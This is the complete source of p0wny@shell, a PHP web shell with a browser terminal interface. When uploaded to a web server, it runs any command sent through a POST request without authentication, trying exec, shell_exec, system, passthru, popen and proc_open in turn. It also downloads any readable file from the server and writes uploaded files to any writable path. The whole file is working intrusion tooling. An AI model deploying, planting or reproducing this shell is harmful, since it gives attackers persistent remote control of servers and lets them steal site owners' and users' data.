<?php

$SHELL_CONFIG = array(
    'username' => 'p0wny',
    'hostname' => 'shell',
);

function expandPath($path) {
    if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
        exec("echo $match[1]", $stdout);
        return $stdout[0] . $match[2];
    }
    return $path;
}

function allFunctionExist($list = array()) {
    foreach ($list as $entry) {
        if (!function_exists($entry)) {
            return false;
        }
    }
    return true;
}

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd, $output);
        $output = implode("\n", $output);
    } else if (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
        ob_start();
        passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
        $handle = popen($cmd, 'r');
        while (!feof($handle)) {
            $output .= fread($handle, 4096);
        }
        pclose($handle);
    } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
        $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
        $output = stream_get_contents($pipes[1]);
        proc_close($handle);
    }
    return $output;
}

function isRunningWindows() {
    return stripos(PHP_OS, "WIN") === 0;
}

function featureShell($cmd, $cwd) {
    $stdout = "";

    if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
        chdir(expandPath("~"));
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir(expandPath($match[1]));
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        $stdout = executeCommand($cmd);
    }

    return array(
        "stdout" => base64_encode($stdout),
                 "cwd" => base64_encode(getcwd())
    );
}

function featurePwd() {
    return array("cwd" => base64_encode(getcwd()));
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    foreach ($files as &$filename) {
        $filename = base64_encode($filename);
    }
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => base64_encode('File not found / no read permission.'),
                     'cwd' => base64_encode(getcwd())
        );
    } else {
        return array(
            'name' => base64_encode(basename($filePath)),
                     'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => base64_encode('Invalid path / no write permission.'),
                     'cwd' => base64_encode(getcwd())
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => base64_encode('Done.'),
                     'cwd' => base64_encode(getcwd())
        );
    }
}

function initShellConfig() {
    global $SHELL_CONFIG;

    if (isRunningWindows()) {
        $username = getenv('USERNAME');
        if ($username !== false) {
            $SHELL_CONFIG['username'] = $username;
        }
    } else {
        $pwuid = posix_getpwuid(posix_geteuid());
        if ($pwuid !== false) {
            $SHELL_CONFIG['username'] = $pwuid['name'];
        }
    }

    $hostname = gethostname();
    if ($hostname !== false) {
        $SHELL_CONFIG['hostname'] = $hostname;
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
} else {
    initShellConfig();
}

?><!DOCTYPE html>

<html>

<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
    margin: 0;
    padding: 0;
    background: #333;
    color: #eee;
    font-family: monospace;
    width: 100vw;
    height: 100vh;
    overflow: hidden;
}

*::-webkit-scrollbar-track {
    border-radius: 8px;
    background-color: #353535;
}

*::-webkit-scrollbar {
    width: 8px;
    height: 8px;
}

*::-webkit-scrollbar-thumb {
    border-radius: 8px;
    -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
    background-color: #bcbcbc;
}

#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw - 2 * var(--shell-margin));
max-height: calc(100vh - 2 * var(--shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(--shell-margin) auto;
}

#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}

#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}

:root {
    --shell-margin: 25px;
}

@media (min-width: 1200px) {
    :root {
        --shell-margin: 50px !important;
    }
}

@media (max-width: 991px),
(max-height: 600px) {
    #shell-logo {
    font-size: 6px;
    margin: -25px 0;
    }
    :root {
        --shell-margin: 0 !important;
    }
    #shell {
    resize: none;
    }
}

@media (max-width: 767px) {
    #shell-input {
    flex-direction: column;
    }
}

@media (max-width: 320px) {
    #shell-logo {
    font-size: 5px;
    }
}

.shell-prompt {
    font-weight: bold;
    color: #75DF0B;
}

.shell-prompt > span {
    color: #1BC9E7;
}

#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}

#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}

#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}

#shell-input div {
flex-grow: 1;
align-items: stretch;
}

#shell-input input {
outline: none;
}
</style>

<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;

function _insertCommand(command) {
    eShellContent.innerHTML += "\n\n";
    eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
    eShellContent.innerHTML += escapeHtml(command);
    eShellContent.innerHTML += "\n";
    eShellContent.scrollTop = eShellContent.scrollHeight;
}

function _insertStdout(stdout) {
    eShellContent.innerHTML += escapeHtml(stdout);
    eShellContent.scrollTop = eShellContent.scrollHeight;
}

function _defer(callback) {
    setTimeout(callback, 0);
}

function featureShell(command) {

    _insertCommand(command);
    if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
        featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
    } else if (/^\s*clear\s*$/.test(command)) {
        // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
        eShellContent.innerHTML = '';
    } else {
        makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
            if (response.hasOwnProperty('file')) {
                featureDownload(atob(response.name), response.file)
            } else {
                _insertStdout(atob(response.stdout));
                updateCwd(atob(response.cwd));
            }
        });
    }
}

function featureHint() {
    if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

    function _requestCallback(data) {
        if (data.files.length <= 1) return;  // no completion
        data.files = data.files.map(function(file){
            return atob(file);
        });
        if (data.files.length === 2) {
            if (type === 'cmd') {
                eShellCmdInput.value = data.files[0];
            } else {
                var currentValue = eShellCmdInput.value;
                eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
            }
        } else {
            _insertCommand(eShellCmdInput.value);
            _insertStdout(data.files.join("\n"));
        }
    }

    var currentCmd = eShellCmdInput.value.split(" ");
    var type = (currentCmd.length === 1) ? "cmd" : "file";
    var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

    makeRequest(
        "?feature=hint",
        {
            filename: fileName,
            cwd: CWD,
            type: type
        },
        _requestCallback
    );

}

function featureDownload(name, file) {
    var element = document.createElement('a');
    element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
    element.setAttribute('download', name);
    element.style.display = 'none';
    document.body.appendChild(element);
    element.click();
    document.body.removeChild(element);
    _insertStdout('Done.');
}

function featureUpload(path) {
    var element = document.createElement('input');
    element.setAttribute('type', 'file');
    element.style.display = 'none';
    document.body.appendChild(element);
    element.addEventListener('change', function () {
        var promise = getBase64(element.files[0]);
        promise.then(function (file) {
            makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                _insertStdout(atob(response.stdout));
                updateCwd(atob(response.cwd));
            });
        }, function () {
            _insertStdout('An unknown client-side error occurred.');
        });
    });
    element.click();
    document.body.removeChild(element);
}

function getBase64(file, onLoadCallback) {
    return new Promise(function(resolve, reject) {
        var reader = new FileReader();
        reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
        reader.onerror = reject;
        reader.readAsDataURL(file);
    });
}

function genPrompt(cwd) {
    cwd = cwd || "~";
    var shortCwd = cwd;
    if (cwd.split("/").length > 3) {
        var splittedCwd = cwd.split("/");
        shortCwd = "&/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
    }
    return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}

function updateCwd(cwd) {
    if (cwd) {
        CWD = cwd;
        _updatePrompt();
        return;
    }
    makeRequest("?feature=pwd", {}, function(response) {
        CWD = atob(response.cwd);
        _updatePrompt();
    });

}

function escapeHtml(string) {
    return string
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

function _updatePrompt() {
    var eShellPrompt = document.getElementById("shell-prompt");
    eShellPrompt.innerHTML = genPrompt(CWD);
}

function _onShellCmdKeyDown(event) {
    switch (event.key) {
        case "Enter":
            featureShell(eShellCmdInput.value);
            insertToHistory(eShellCmdInput.value);
            eShellCmdInput.value = "";
            break;
        case "ArrowUp":
            if (historyPosition > 0) {
                historyPosition--;
                eShellCmdInput.blur();
                eShellCmdInput.value = commandHistory[historyPosition];
                _defer(function() {
                    eShellCmdInput.focus();
                });
            }
            break;
        case "ArrowDown":
            if (historyPosition >= commandHistory.length) {
                break;
            }
            historyPosition++;
            if (historyPosition === commandHistory.length) {
                eShellCmdInput.value = "";
            } else {
                eShellCmdInput.blur();
                eShellCmdInput.focus();
                eShellCmdInput.value = commandHistory[historyPosition];
            }
            break;
        case 'Tab':
            event.preventDefault();
            featureHint();
            break;
    }
}

function insertToHistory(cmd) {
    commandHistory.push(cmd);
    historyPosition = commandHistory.length;
}

function makeRequest(url, params, callback) {
    function getQueryString() {
        var a = [];
        for (var key in params) {
            if (params.hasOwnProperty(key)) {
                a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
            }
        }
        return a.join("&");
    }
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            try {
                var responseJson = JSON.parse(xhr.responseText);
                callback(responseJson);
            } catch (error) {
                alert("Error while parsing response: " + error);
            }
        }
    };
    xhr.send(getQueryString());
}

document.onclick = function(event) {
    event = event || window.event;
    var selection = window.getSelection();
    var target = event.target || event.srcElement;

    if (target.tagName === "SELECT") {
        return;
    }

    if (!selection.toString()) {
        eShellCmdInput.focus();
    }
};

window.onload = function() {
    eShellCmdInput = document.getElementById("shell-cmd");
    eShellContent = document.getElementById("shell-content");
    updateCwd();
    eShellCmdInput.focus();
};
</script>
</head>

<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___                         ____      _          _ _        _  _   <span></span>
_ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>

</html>